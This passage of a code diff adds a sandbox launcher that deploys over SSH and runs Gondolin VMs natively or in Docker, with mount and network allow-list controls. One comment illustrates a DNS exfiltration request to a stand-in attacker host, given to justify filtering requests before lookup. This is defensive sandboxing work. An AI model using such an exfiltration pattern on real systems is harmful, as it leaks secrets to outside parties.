...(config.shellEnv === undefined ? {} : { shellEnv: config.shellEnv }),
...(shellPath === undefined ? {} : { shellPath }),
...(shellEnv === undefined ? {} : { shellEnv }),
});
return { env: at(cwd), connection, remote, at };
}

View file

@ -0,0 +1,172 @@
// p2's sandbox launcher on a host environment: deploying it (sandbox/ of this plugin, named by its content under the
// host's ~/.pi/p2/sandbox/; the files are read from the source directory the caller passes), the command line that runs it over SSH, and one-shot commands (check, start, status, stop)
// whose JSON answer p2 reads.
import { spawn } from "node:child_process";
import { createHash } from "node:crypto";
import { readFileSync } from "node:fs";
import { hostname } from "node:os";
import { join } from "node:path";
import { type RemotePlatform, type SshTarget, sshArguments } from "@earendil-works/pi-env";
import type { GondolinEnvConfig } from "./config.ts";
/** The launcher's files as deployed: name on the host, file in the launcher's source directory. */
const FILES: readonly (readonly [string, string])[] = [
["p2-sandbox.sh", "p2-sandbox.sh"],
["p2-sandbox.mjs", "p2-sandbox.mjs"],
["Dockerfile", "Dockerfile"],
["package.json", "host-package.json"],
["package-lock.json", "host-package-lock.json"],
];
type Bundle = { readonly files: readonly (readonly [string, Buffer])[]; readonly id: string };
const bundles = new Map<string, Bundle>();
/**
* The launcher's files from `source` (this plugin's sandbox/ directory: a facet passes `pluginFile("sandbox")`) and
* the name of their directory on the host (their SHA-256), read once per source.
*/
function bundleOf(source: string): Bundle {
let bundle = bundles.get(source);
if (!bundle) {
const files = FILES.map(([name, path]) => [name, readFileSync(join(source, path))] as const);
const hash = createHash("sha256");
for (const [name, content] of files) hash.update(`${name}\0${content.length}\0`).update(content);
bundle = { files, id: hash.digest("hex").slice(0, 16) };
bundles.set(source, bundle);
}
return bundle;
}
/** The name of the launcher's directory on a host: the content hash of its files in `source`. */
export function launcherId(source: string): string {
return bundleOf(source).id;
}
/** How long a deployment or one-shot command may take; `start` may download the guest image first. */
const COMMAND_TIMEOUT_MS = 60_000;
const START_TIMEOUT_MS = 660_000;
const quote = (text: string): string => `'${text.replaceAll("'", "'\\''")}'`;
/** The sandbox configuration the launcher takes: base64 JSON of what the VM needs. */
export function sandboxArgument(config: GondolinEnvConfig): string {
const value = {
...(config.image === undefined ? {} : { image: config.image }),
mounts: config.mounts ?? [],
allowHosts: config.allowHosts ?? [],
...(config.cpus === undefined ? {} : { cpus: config.cpus }),
...(config.memoryMb === undefined ? {} : { memoryMb: config.memoryMb }),
};
return Buffer.from(JSON.stringify(value)).toString("base64");
}
/** The configuration's revision as the launcher reports it for the running VM (it applies at the next start). */
export function sandboxRevision(config: GondolinEnvConfig): string {
return createHash("sha256").update(sandboxArgument(config)).digest("hex").slice(0, 16);
}
/** The remote command line that runs the launcher in `directory` with `args`. */
export function runLauncher(directory: string, args: readonly string[]): string {
return ["sh", quote(`${directory}/p2-sandbox.sh`), ...args.map(quote)].join(" ");
}
/** Run `command` on the host over SSH, optionally feeding `input`; resolves with stdout, rejects with stderr. */
function runOnHost(
target: SshTarget,
command: string,
input?: string,
timeoutMs = COMMAND_TIMEOUT_MS,
): Promise<string> {
return new Promise((resolve, reject) => {
const child = spawn(target.ssh ?? "ssh", [...sshArguments(target), command], {
stdio: ["pipe", "pipe", "pipe"],
});
const out: Buffer[] = [];
const err: Buffer[] = [];
const timer = setTimeout(() => child.kill("SIGKILL"), timeoutMs);
child.stdout.on("data", (chunk: Buffer) => out.push(chunk));
child.stderr.on("data", (chunk: Buffer) => err.push(chunk));
child.on("error", (error) => {
clearTimeout(timer);
reject(error);
});
child.on("close", (code) => {
clearTimeout(timer);
const stderr = Buffer.concat(err).toString("utf8").trim();
if (code === 0) resolve(Buffer.concat(out).toString("utf8"));
else reject(new Error(stderr || `ssh exited with code ${code}`));
});
child.stdin.end(input ?? "");
});
}
/**
* Make sure this launcher is on the host and return its directory. One round trip: the script checks the files'
* hashes (a changed file is written again) and writes a missing or changed directory through a temporary one renamed
* into place. Other versions stay (other p2 installations may use them) until unused for 30 days.
*/
export async function deployLauncher(target: SshTarget, remote: RemotePlatform, source: string): Promise<string> {
const bundle = bundleOf(source);
const root = `${remote.home}/.pi/p2/sandbox`;
const directory = `${root}/${bundle.id}`;
const sha = (content: Buffer) => createHash("sha256").update(content).digest("hex");
const script = [
"set -e",
`d=${quote(directory)}`,
`r=${quote(root)}`,
'hash() { sha256sum "$1" 2>/dev/null | cut -d" " -f1; }',
"intact() {",
'\t[ -f "$d/.complete" ] || return 1',
...bundle.files.map(([name, content]) => `\t[ "$(hash "$d/${name}")" = ${sha(content)} ] || return 1`),
"}",
"if ! intact; then",
'\tmkdir -p "$r"',
'\tt=$(mktemp -d "$d.XXXXXX")',
...bundle.files.map(
([name, content]) => `\tprintf %s ${quote(content.toString("base64"))} | base64 -d > "$t/${name}"`,
),
'\tchmod 755 "$t/p2-sandbox.sh"',
'\ttouch "$t/.complete"',
'\trm -rf "$d"',
'\tmv "$t" "$d"',
"fi",
'touch "$d"',
'find "$r" -mindepth 1 -maxdepth 1 -type d -name "????????????????" -mtime +30 -exec rm -rf {} +',
].join("\n");
await runOnHost(target, "sh -s", `${script}\n`);
return directory;
}
/**
* The name a sandbox's VM has on its host: the sandbox's name, prefixed by this p2 installation (its machine and data
* directory), so two installations with a sandbox of the same name on one host never share a VM.
*/
export function sandboxKey(directory: string, name: string): string {
return `${createHash("sha256").update(`${hostname()}\0${directory}`).digest("hex").slice(0, 8)}.${name}`;
}
/** Run a launcher command on the host (deploying the launcher first) and parse its last line of output as JSON. */
export async function launcherCommand(
target: SshTarget,
remote: RemotePlatform,
source: string,
args: readonly string[],
): Promise<unknown> {
return deployedCommand(target, await deployLauncher(target, remote, source), args);
}
/**
* Run a command of the launcher deployed in `directory` and parse its last line of output as JSON; `start` may take
* minutes (a first start builds the Docker image and downloads the guest image).
*/
export async function deployedCommand(target: SshTarget, directory: string, args: readonly string[]): Promise<unknown> {
const timeoutMs = args[0] === "start" ? START_TIMEOUT_MS : COMMAND_TIMEOUT_MS;
const output = await runOnHost(target, runLauncher(directory, args), undefined, timeoutMs);
const line = output.trim().split("\n").at(-1) ?? "";
try {
return JSON.parse(line);
} catch {
throw new Error(`Unexpected answer from the sandbox launcher: ${line.slice(0, 200)}`);
}
}

View file

@ -0,0 +1,26 @@
// What the sandbox launcher on a host prints (p2-sandbox.sh check, p2-sandbox.mjs status/start/stop): wire input that
// the manager checks before use.
import { bool, num, obj, str, union } from "@earendil-works/pi-schema";
import { literal } from "@p2/app/v1";
/** `p2-sandbox.sh check`: how Gondolin can run on the host and what it found. */
export const LauncherCheckSchema = obj(
{
runtime: union([literal("native"), literal("docker"), literal("none")]),
system: str(),
arch: str(),
kvm: bool(),
kvmDevice: bool(),
qemu: str(),
node: str(),
docker: bool(),
},
{ open: true },
);
/** `status`, `start` and `stop`: the VM's state; a running one names its configuration's revision. */
export const LauncherStatusSchema = union([
obj({ state: literal("stopped") }, { open: true }),
obj({ state: literal("running"), startedAt: num(), revision: str(), cpus: num(), memoryMb: num() }, { open: true }),
]);

View file

@ -0,0 +1,8 @@
# Fallback for hosts that cannot run Gondolin directly (no Node 22+, or a QEMU older than 7.2, e.g. Ubuntu 22.04's 6.2):
# the sandbox supervisors and their VMs run in this container instead, with the host's /dev/kvm passed in and the
# host user's home mounted at the same path. Only Node and QEMU: Gondolin and the launcher come from the launcher's
# directory in that home. p2-sandbox.sh builds it when it picks Docker, tagged with this file's hash.
FROM node:24-trixie-slim
RUN apt-get update \
&& apt-get install -y --no-install-recommends qemu-system-x86 qemu-system-arm qemu-utils ca-certificates \
&& rm -rf /var/lib/apt/lists/*

View file

@ -0,0 +1,165 @@
{
"name": "p2-sandbox-host",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "p2-sandbox-host",
"dependencies": {
"@earendil-works/gondolin": "0.14.0"
}
},
"node_modules/@cto.af/wtf8": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/@cto.af/wtf8/-/wtf8-1.0.0.tgz",
"integrity": "sha512-qI0XnZxcj/FmASB8XXWqG49bSIzu0I/02deAjhnTni9IZ7KMRVlh8EFLE+mmJlMA169lET6rTCFhEsZSjOwlhA==",
"license": "MIT",
"engines": {
"node": ">=22"
}
},
"node_modules/@earendil-works/gondolin": {
"version": "0.14.0",
"resolved": "https://registry.npmjs.org/@earendil-works/gondolin/-/gondolin-0.14.0.tgz",
"integrity": "sha512-MSw+EGcqFJeyKHdXEfm+nMRr74ytT4x8DGIohav0oPCHeVQAB9AajquM94cv2xqvIU3VDAaZZVC07IXsOY6OVQ==",
"license": "Apache-2.0",
"dependencies": {
"cbor2": "^2.3.0",
"ssh2": "^1.17.0",
"undici": "^6.29.0"
},
"bin": {
"gondolin": "dist/bin/gondolin.js"
},
"engines": {
"node": ">=22.19.0"
},
"optionalDependencies": {
"@earendil-works/gondolin-krun-runner-darwin-arm64": "0.14.0",
"@earendil-works/gondolin-krun-runner-linux-x64": "0.14.0"
}
},
"node_modules/@earendil-works/gondolin-krun-runner-darwin-arm64": {
"version": "0.14.0",
"resolved": "https://registry.npmjs.org/@earendil-works/gondolin-krun-runner-darwin-arm64/-/gondolin-krun-runner-darwin-arm64-0.14.0.tgz",
"integrity": "sha512-fvuhz1CZPaEbmXC0luZoXd1obAb0bjaaGJz33Jo63bhMlosYunAahItakh7cU0dnTlNFzufOSnpGOPqtuYjnpQ==",
"cpu": ["arm64"],
"license": "Apache-2.0",
"optional": true,
"os": ["darwin"],
"bin": {
"gondolin-krun-runner": "bin/gondolin-krun-runner"
}
},
"node_modules/@earendil-works/gondolin-krun-runner-linux-x64": {
"version": "0.14.0",
"resolved": "https://registry.npmjs.org/@earendil-works/gondolin-krun-runner-linux-x64/-/gondolin-krun-runner-linux-x64-0.14.0.tgz",
"integrity": "sha512-91iw4smoOH/yOoAuQS6N2UZOxqSFwRhtk8rTyrokXBoWiWcveAzg4kHvnLcm40ZlNrWwzIDFrere4bkZeGDQcA==",
"cpu": ["x64"],
"license": "Apache-2.0",
"optional": true,
"os": ["linux"],
"bin": {
"gondolin-krun-runner": "bin/gondolin-krun-runner"
}
},
"node_modules/asn1": {
"version": "0.2.6",
"resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.6.tgz",
"integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==",
"license": "MIT",
"dependencies": {
"safer-buffer": "~2.1.0"
}
},
"node_modules/bcrypt-pbkdf": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz",
"integrity": "sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==",
"license": "BSD-3-Clause",
"dependencies": {
"tweetnacl": "^0.14.3"
}
},
"node_modules/buildcheck": {
"version": "0.0.7",
"resolved": "https://registry.npmjs.org/buildcheck/-/buildcheck-0.0.7.tgz",
"integrity": "sha512-lHblz4ahamxpTmnsk+MNTRWsjYKv965MwOrSJyeD588rR3Jcu7swE+0wN5F+PbL5cjgu/9ObkhfzEPuofEMwLA==",
"optional": true,
"engines": {
"node": ">=10.0.0"
}
},
"node_modules/cbor2": {
"version": "2.4.1",
"resolved": "https://registry.npmjs.org/cbor2/-/cbor2-2.4.1.tgz",
"integrity": "sha512-h4OqPnSvIEUNCxTNb9pwMZPKjhNKO9bkPwQJOR7d5oBIrZR/CO098atrLl4AkQmB1p3opCvo2UFt4fhRSWC/vQ==",
"license": "MIT",
"dependencies": {
"@cto.af/wtf8": "1.0.0"
},
"engines": {
"node": ">=22"
}
},
"node_modules/cpu-features": {
"version": "0.0.10",
"resolved": "https://registry.npmjs.org/cpu-features/-/cpu-features-0.0.10.tgz",
"integrity": "sha512-9IkYqtX3YHPCzoVg1Py+o9057a3i0fp7S530UWokCSaFVTc7CwXPRiOjRjBQQ18ZCNafx78YfnG+HALxtVmOGA==",
"hasInstallScript": true,
"optional": true,
"dependencies": {
"buildcheck": "~0.0.6",
"nan": "^2.19.0"
},
"engines": {
"node": ">=10.0.0"
}
},
"node_modules/nan": {
"version": "2.30.0",
"resolved": "https://registry.npmjs.org/nan/-/nan-2.30.0.tgz",
"integrity": "sha512-P5mokDkSvCGBz6mZDD/2l+w9QoICRXdCyZ9ONGmTePr40oihJg3Kpn0YU3twKd6PJnwSlLBWNQeOT6yWEV2c4A==",
"license": "MIT",
"optional": true
},
"node_modules/safer-buffer": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
"integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
"license": "MIT"
},
"node_modules/ssh2": {
"version": "1.17.0",
"resolved": "https://registry.npmjs.org/ssh2/-/ssh2-1.17.0.tgz",
"integrity": "sha512-wPldCk3asibAjQ/kziWQQt1Wh3PgDFpC0XpwclzKcdT1vql6KeYxf5LIt4nlFkUeR8WuphYMKqUA56X4rjbfgQ==",
"hasInstallScript": true,
"dependencies": {
"asn1": "^0.2.6",
"bcrypt-pbkdf": "^1.0.2"
},
"engines": {
"node": ">=10.16.0"
},
"optionalDependencies": {
"cpu-features": "~0.0.10",
"nan": "^2.23.0"
}
},
"node_modules/tweetnacl": {
"version": "0.14.5",
"resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz",
"integrity": "sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA==",
"license": "Unlicense"
},
"node_modules/undici": {
"version": "6.29.1",
"resolved": "https://registry.npmjs.org/undici/-/undici-6.29.1.tgz",
"integrity": "sha512-EvRlUt/QqAEvXdQeRMYUfwOQsfzpDztykrG2owGEE/rBOBoYv9uF39ZzsNDh4lTFHhTr2XOZjKkYgueD12ZmGA==",
"license": "MIT",
"engines": {
"node": ">=18.17"
}
}
}
}

View file

@ -0,0 +1,8 @@
{
"name": "p2-sandbox-host",
"private": true,
"type": "module",
"dependencies": {
"@earendil-works/gondolin": "0.14.0"
}
}

View file

@ -0,0 +1,416 @@
// p2's sandbox program on a host environment: one long-lived Gondolin VM per sandbox, held by a supervisor process
// (`serve`), and the commands p2 runs over SSH (`daemon`, `start`, `status`, `stop`). `daemon` starts the supervisor
// when the sandbox is not running, then runs the pi-env daemon in the VM with stdin and stdout passed through, so p2
// talks to the daemon in the VM as it does to one on any other machine. Started by p2-sandbox.sh, natively or in Docker.
import { spawn } from "node:child_process";
import { createHash } from "node:crypto";
import { closeSync, mkdirSync, openSync, readFileSync, rmSync, statSync, writeFileSync } from "node:fs";
import { connect, createServer } from "node:net";
import { homedir } from "node:os";
import { basename, isAbsolute, join, resolve } from "node:path";
import { fileURLToPath } from "node:url";
import { createHttpHooks, ensureImageSelector, ReadonlyProvider, RealFSProvider, VM } from "@earendil-works/gondolin";
/** How long a client waits for a starting sandbox: the first start downloads the guest image (about 200 MB). */
const START_TIMEOUT_MS = 600_000;
/** Where the pi-env daemon is copied in the VM, and where Gondolin mounts the folders before binding them. */
const GUEST_TOOLS = "/opt/pi-env";
const GUEST_VFS = "/.p2-vfs";
const GUEST_ENV = {
HOME: "/root",
PATH: "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
LANG: "C.UTF-8",
};
/** Frames from the supervisor to a `daemon` client: type byte, 4-byte length, payload. */
const STDOUT = 1;
const STDERR = 2;
const EXIT = 3;
const self = fileURLToPath(import.meta.url);
/** The VM's name on this host: p2 passes `<installation>.<sandbox>`. */
const NAME = /^[a-z0-9][a-z0-9_.-]{0,63}$/;
await main(process.argv.slice(2));
async function main(args) {
const [command, name, ...rest] = args;
if (!NAME.test(name ?? "")) fail(`Invalid sandbox name: ${name}`);
switch (command) {
case "daemon": {
// daemon NAME CONFIG BINARY -- ARGS...: the daemon's own arguments follow `--`.
const [config, binary, separator, ...daemonArgs] = rest;
if (separator !== "--" || !isAbsolute(binary ?? "")) fail("Usage: daemon NAME CONFIG BINARY -- ARGS...");
return runDaemon(name, parseConfig(config), binary, daemonArgs);
}
case "start": {
await ensureRunning(name, parseConfig(rest[0]));
return print(await request(name, { op: "status" }));
}
case "status":
return print((await tryRequest(name, { op: "status" })) ?? { state: "stopped" });
case "stop":
return print((await tryRequest(name, { op: "stop" })) ?? { state: "stopped" });
case "serve":
return serve(name, parseConfig(rest[0]));
default:
fail(`Unknown command: ${command}`);
}
}
function fail(message) {
process.stderr.write(`p2-sandbox: ${message}\n`);
process.exit(2);
}
function print(value) {
process.stdout.write(`${JSON.stringify(value)}\n`);
}
/** The sandbox configuration p2 passes as base64 JSON: image, folders, allowed hosts, resources. */
function parseConfig(text) {
let config;
try {
config = JSON.parse(Buffer.from(text ?? "", "base64").toString("utf8"));
} catch {
fail("Invalid sandbox configuration");
}
return {
image: typeof config.image === "string" ? config.image : undefined,
mounts: Array.isArray(config.mounts) ? config.mounts : [],
// Always a list: Gondolin allows every host when it is omitted.
allowHosts: Array.isArray(config.allowHosts) ? config.allowHosts.map(String) : [],
cpus: Number.isInteger(config.cpus) ? config.cpus : undefined,
memoryMb: Number.isInteger(config.memoryMb) ? config.memoryMb : undefined,
revision: createHash("sha256").update(text).digest("hex").slice(0, 16),
raw: text,
};
}
function runDir(name) {
return join(homedir(), ".pi", "p2", "sandbox", "run", name);
}
/**
* `~` and `~/…` are the host user's home; other paths must be absolute. In Docker only the home is shared with the
* container: a folder elsewhere would be one inside the container, so it is refused. A writable folder must not hold
* or be inside ~/.pi: p2 runs this launcher and pi-env's daemons from there, on the host.
*/
function hostPath(path, readonly) {
const home = homedir();
const expanded = path === "~" ? home : path.startsWith("~/") ? join(home, path.slice(2)) : path;
if (!isAbsolute(expanded)) throw new Error(`Folder must be absolute or start with ~: ${path}`);
const resolved = resolve(expanded);
const within = (parent, child) => child === parent || child.startsWith(parent === "/" ? "/" : `${parent}/`);
if (process.env.P2_SANDBOX_RUNTIME === "docker" && !within(home, resolved))
throw new Error(`Sandboxes run in Docker on this host, so their folders must be inside ${home}: ${path}`);
const pi = join(home, ".pi");
if (!readonly && (within(resolved, pi) || within(pi, resolved)))
throw new Error(`A writable folder must not contain or be inside ${pi} (p2's launcher runs from there): ${path}`);
return resolved;
}
// --- Clients ---------------------------------------------------------------------------------------------------------
/** Connect to the supervisor's socket, or undefined when no supervisor listens. */
function tryConnect(name) {
return new Promise((resolve) => {
const socket = connect(join(runDir(name), "sock"));
socket.once("connect", () => resolve(socket));
socket.once("error", () => resolve(undefined));
});
}
/** One JSON request and its JSON reply, or undefined when the sandbox is not running. */
async function tryRequest(name, message) {
const socket = await tryConnect(name);
if (!socket) return undefined;
socket.write(`${JSON.stringify(message)}\n`);
let text = "";
for await (const chunk of socket) text += chunk;
return JSON.parse(text);
}
async function request(name, message) {
const reply = await tryRequest(name, message);
if (reply === undefined) throw new Error(`Sandbox ${name} is not running`);
return reply;
}
/**
* Start the supervisor unless one listens, and wait until it does. A lock directory naming its owner keeps two
* clients from starting two supervisors; the one that waits sees the other's socket, and takes over a lock whose owner
* died. A start that times out stops its supervisor, so none is left booting without a lock.
*/
async function ensureRunning(name, config) {
const existing = await tryConnect(name);
if (existing) return existing.destroy();
const dir = runDir(name);
mkdirSync(dir, { recursive: true, mode: 0o700 });
const lock = join(dir, "start.lock");
const deadline = Date.now() + START_TIMEOUT_MS;
for (;;) {
try {
mkdirSync(lock);
writeFileSync(join(lock, "owner"), String(process.pid));
break;
} catch {
let owner = 0;
try {
owner = Number(readFileSync(join(lock, "owner"), "utf8"));
} catch {
// Not written yet, or the lock is gone already.
}
// An owner that has not written its pid yet gets a moment.
const age = Date.now() - (statSync(lock, { throwIfNoEntry: false })?.mtimeMs ?? Date.now());
if (owner ? !alive(owner) : age > 5000) rmSync(lock, { recursive: true, force: true });
const socket = await tryConnect(name);
if (socket) return socket.destroy();
if (Date.now() > deadline) throw new Error(`Sandbox ${name} did not start in time`);
await sleep(250);
}
}
try {
const again = await tryConnect(name);
if (again) return again.destroy();
const log = join(dir, "log");
const out = openSync(log, "w", 0o600);
const child = spawn(process.execPath, [self, "serve", name, config.raw], {
detached: true,
stdio: ["ignore", out, out],
});
closeSync(out);
let exited = false;
child.once("exit", () => {
exited = true;
});
child.unref();
process.stderr.write(`p2-sandbox: starting sandbox ${name}\n`);
while (Date.now() < deadline) {
const socket = await tryConnect(name);
if (socket) return socket.destroy();
if (exited) {
const tail = readFileSync(log, "utf8").trim().split("\n").slice(-15).join("\n");
throw new Error(`Sandbox ${name} failed to start:\n${tail}`);
}
await sleep(250);
}
child.kill("SIGTERM");
throw new Error(`Sandbox ${name} did not start in time`);
} finally {
rmSync(lock, { recursive: true, force: true });
}
}
/** Run the pi-env daemon in the VM: stdin goes to it, its stdout and stderr come back, its exit code is ours. */
async function runDaemon(name, config, binary, args) {
try {
await ensureRunning(name, config);
} catch (error) {
fail(error instanceof Error ? error.message : String(error));
}
const socket = await tryConnect(name);
if (!socket) fail(`Sandbox ${name} stopped while connecting`);
socket.write(`${JSON.stringify({ op: "exec", binary, args, revision: config.revision })}\n`);
process.stdin.on("data", (chunk) => socket.write(chunk));
process.stdin.on("end", () => socket.end());
let buffer = Buffer.alloc(0);
let code = 1;
socket.on("data", (chunk) => {
buffer = Buffer.concat([buffer, chunk]);
while (buffer.length >= 5) {
const length = buffer.readUInt32BE(1);
if (buffer.length < 5 + length) break;
const type = buffer[0];
const payload = buffer.subarray(5, 5 + length);
buffer = buffer.subarray(5 + length);
if (type === STDOUT) process.stdout.write(payload);
else if (type === STDERR) process.stderr.write(payload);
else if (type === EXIT) code = JSON.parse(payload.toString("utf8")).code;
}
});
socket.on("close", () => process.stdout.end(() => process.exit(code)));
socket.on("error", () => {});
}
// --- Supervisor ------------------------------------------------------------------------------------------------------
/** Boot the VM, then serve requests on the socket until stopped; the process ends with the VM. */
async function serve(name, config) {
const dir = runDir(name);
const socketPath = join(dir, "sock");
const mounts = {};
for (const mount of config.mounts) {
const host = hostPath(String(mount.host), mount.readonly === true);
mkdirSync(host, { recursive: true });
const real = new RealFSProvider(host);
mounts[String(mount.guest)] = mount.readonly ? new ReadonlyProvider(real) : real;
}
if (config.image) await ensureImageSelector(config.image);
const { httpHooks, env } = createHttpHooks({
allowedHosts: config.allowHosts,
// Gondolin checks `allowedHosts` only after resolving the name on the host, which would leak any name the guest
// asks for to DNS (`curl http://<secret>.attacker.example`); the request policy runs before that lookup.
isRequestAllowed: (request) => allowedHost(new URL(request.url).hostname, config.allowHosts),
});
const vm = await VM.create({
httpHooks,
env: { ...GUEST_ENV, ...env },
// Gondolin's own mount point, out of the way of the folders (its default is /data).
vfs: { mounts, fuseMount: GUEST_VFS },
...(config.cpus === undefined ? {} : { cpus: config.cpus }),
...(config.memoryMb === undefined ? {} : { memory: `${config.memoryMb}M` }),
...(config.image === undefined ? {} : { sandbox: { imagePath: config.image } }),
sessionLabel: `p2:${name}`,
});
await vm.exec("true");
const startedAt = Date.now();
/** The daemons copied into the VM, by guest path: one copy each, however many connections ask at once. */
const installs = new Map();
let server;
let closing;
/**
* Stop: no new connections first (the socket goes, so the next client starts a new supervisor), then the VM. The
* run directory stays: a new supervisor may already be starting in it.
*/
const close = () => {
closing ??= (async () => {
clearInterval(watch);
server?.close();
rmSync(socketPath, { force: true });
await vm.close().catch(() => {});
})();
return closing;
};
const exit = () => void close().then(() => process.exit(0));
// Gondolin does not close a VM whose QEMU died: without this the supervisor would answer as running forever.
const watch = setInterval(() => {
const pid = vm.getHostPid();
if (pid !== null && alive(pid)) return;
console.log(`sandbox ${name}: the VM exited`);
exit();
}, 2000);
process.on("SIGTERM", exit);
process.on("SIGINT", exit);
const status = () => ({
state: "running",
startedAt,
revision: config.revision,
pid: process.pid,
cpus: config.cpus ?? 2,
memoryMb: config.memoryMb ?? 1024,
});
server = createServer((socket) => {
socket.on("error", () => {});
let header = Buffer.alloc(0);
const onData = (chunk) => {
header = Buffer.concat([header, chunk]);
const end = header.indexOf(10);
if (end < 0) return;
socket.off("data", onData);
// Input that arrives while the daemon is copied into the VM waits in the socket.
socket.pause();
const rest = header.subarray(end + 1);
let message;
try {
message = JSON.parse(header.subarray(0, end).toString("utf8"));
} catch {
return socket.destroy();
}
if (message.op === "status") return socket.end(JSON.stringify(status()));
// Answered once the VM is gone, so a start right after never finds this supervisor.
if (message.op === "stop")
return void close().then(() => socket.end(JSON.stringify({ state: "stopped" }), () => process.exit(0)));
if (message.op === "exec") return void execute(vm, installs, message, socket, rest, config.revision);
socket.destroy();
};
socket.on("data", onData);
});
rmSync(socketPath, { force: true });
server.listen(socketPath, () => console.log(`sandbox ${name} running (pid ${process.pid})`));
}
/** Gondolin's host pattern rules: case-insensitive, `*` alone matches any host, `*` inside a pattern any substring. */
function allowedHost(hostname, patterns) {
return patterns.some((raw) => {
const pattern = raw.trim().toLowerCase();
if (pattern === "*") return true;
const escaped = pattern
.split("*")
.map((part) => part.replace(/[.+?^${}()|[\]\\]/g, "\\$&"))
.join(".*");
return pattern !== "" && new RegExp(`^${escaped}$`, "i").test(hostname);
});
}
function frame(type, payload) {
const head = Buffer.alloc(5);
head[0] = type;
head.writeUInt32BE(payload.length, 1);
return Buffer.concat([head, payload]);
}
/** Copy the daemon into the VM once per content, then run it with the client's stdin and output. */
async function execute(vm, installs, message, socket, firstInput, revision) {
const send = (type, payload) => {
if (!socket.destroyed) socket.write(frame(type, payload));
};
const abort = new AbortController();
// The client went away (ssh closed), also while the daemon is still being copied: the daemon stops with it.
socket.on("close", () => abort.abort());
try {
if (message.revision !== revision)
send(STDERR, Buffer.from("p2-sandbox: the configuration changed; it applies when the sandbox restarts\n"));
const guest = `${GUEST_TOOLS}/${basename(String(message.binary))}`;
let install = installs.get(guest);
if (!install) {
install = (async () => {
await vm.fs.mkdir(GUEST_TOOLS, { recursive: true });
await vm.fs.writeFile(guest, readFileSync(String(message.binary)));
// The array form runs the program itself: Gondolin does not search PATH for it.
const chmod = await vm.exec(["/bin/chmod", "755", guest]);
if (chmod.exitCode !== 0) throw new Error(`Could not make the daemon executable: ${chmod.stderr.trim()}`);
})();
installs.set(guest, install);
// A failed copy is tried again by the next connection.
install.catch(() => installs.delete(guest));
}
await install;
if (abort.signal.aborted) return;
const proc = vm.exec([guest, ...message.args.map(String)], {
stdin: true,
stdout: "pipe",
stderr: "pipe",
cwd: "/",
signal: abort.signal,
});
if (firstInput.length) proc.write(firstInput);
socket.on("data", (chunk) => proc.write(chunk));
socket.on("end", () => proc.end());
socket.resume();
proc.stdout?.on("data", (chunk) => send(STDOUT, chunk));
proc.stderr?.on("data", (chunk) => send(STDERR, chunk));
const result = await proc.result;
send(EXIT, Buffer.from(JSON.stringify({ code: result.exitCode })));
} catch (error) {
if (!abort.signal.aborted) {
send(STDERR, Buffer.from(`p2-sandbox: ${error instanceof Error ? error.message : String(error)}\n`));
send(EXIT, Buffer.from(JSON.stringify({ code: 1 })));
}
}
socket.end();
}
/** Whether process `pid` exists. */
function alive(pid) {
try {
process.kill(pid, 0);
return true;
} catch (error) {
return error.code === "EPERM";
}
}
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}

View file

@ -0,0 +1,115 @@
#!/bin/sh
# p2's sandbox launcher on a host environment. `check` reports whether and how Gondolin can run here (JSON). Every other
# command picks the runtime (natively when Node >= 22, QEMU >= 7.2 and /dev/kvm are usable, else Docker), installs it
# once, then runs p2-sandbox.mjs there with the same arguments. stdout belongs to that program (it carries pi-env's
# protocol), so setup output goes to stderr. Each launcher version has its own directory (named by its content);
# sandboxes keep running across versions.
set -eu
D=$(cd "$(dirname "$0")" && pwd)
qemu_bin() {
case "$(uname -m)" in
x86_64 | amd64) echo qemu-system-x86_64 ;;
aarch64 | arm64) echo qemu-system-aarch64 ;;
*) echo qemu-system-unsupported ;;
esac
}
qemu_version() {
command -v "$(qemu_bin)" >/dev/null 2>&1 || return 0
"$(qemu_bin)" --version 2>/dev/null | head -n 1 | sed -n 's/.*version \([0-9][0-9]*\.[0-9][0-9]*\).*/\1/p'
}
qemu_ok() {
v=$(qemu_version)
[ -n "$v" ] || return 1
major=${v%%.*}
minor=${v#*.}
[ "$major" -gt 7 ] || { [ "$major" -eq 7 ] && [ "$minor" -ge 2 ]; }
}
node_version() { command -v node >/dev/null 2>&1 && node -p 'process.versions.node' 2>/dev/null || true; }
node_ok() {
v=$(node_version)
[ -n "$v" ] && [ "${v%%.*}" -ge 22 ]
}
kvm_ok() { [ -r /dev/kvm ] && [ -w /dev/kvm ]; }
docker_ok() { [ -e /dev/kvm ] && command -v docker >/dev/null 2>&1 && docker info >/dev/null 2>&1; }
runtime() {
if [ "$(uname -s)" != Linux ]; then
echo none
elif kvm_ok && qemu_ok && node_ok; then
echo native
elif docker_ok; then
echo docker
else
echo none
fi
}
if [ "${1:-}" = check ]; then
r=$(runtime)
kvm=false
kvm_ok && kvm=true
docker=false
docker_ok && docker=true
printf '{"runtime":"%s","system":"%s","arch":"%s","kvm":%s,"kvmDevice":%s,"qemu":"%s","node":"%s","docker":%s}\n' \
"$r" "$(uname -s)" "$(uname -m)" "$kvm" "$([ -e /dev/kvm ] && echo true || echo false)" \
"$(qemu_version)" "$(node_version)" "$docker"
exit 0
fi
# Setup runs under a lock: two sessions connecting at once must not install or create the container twice.
lock() {
if command -v flock >/dev/null 2>&1; then
exec 9>"$D/.lock"
flock 9
fi
}
unlock() { exec 9>&-; }
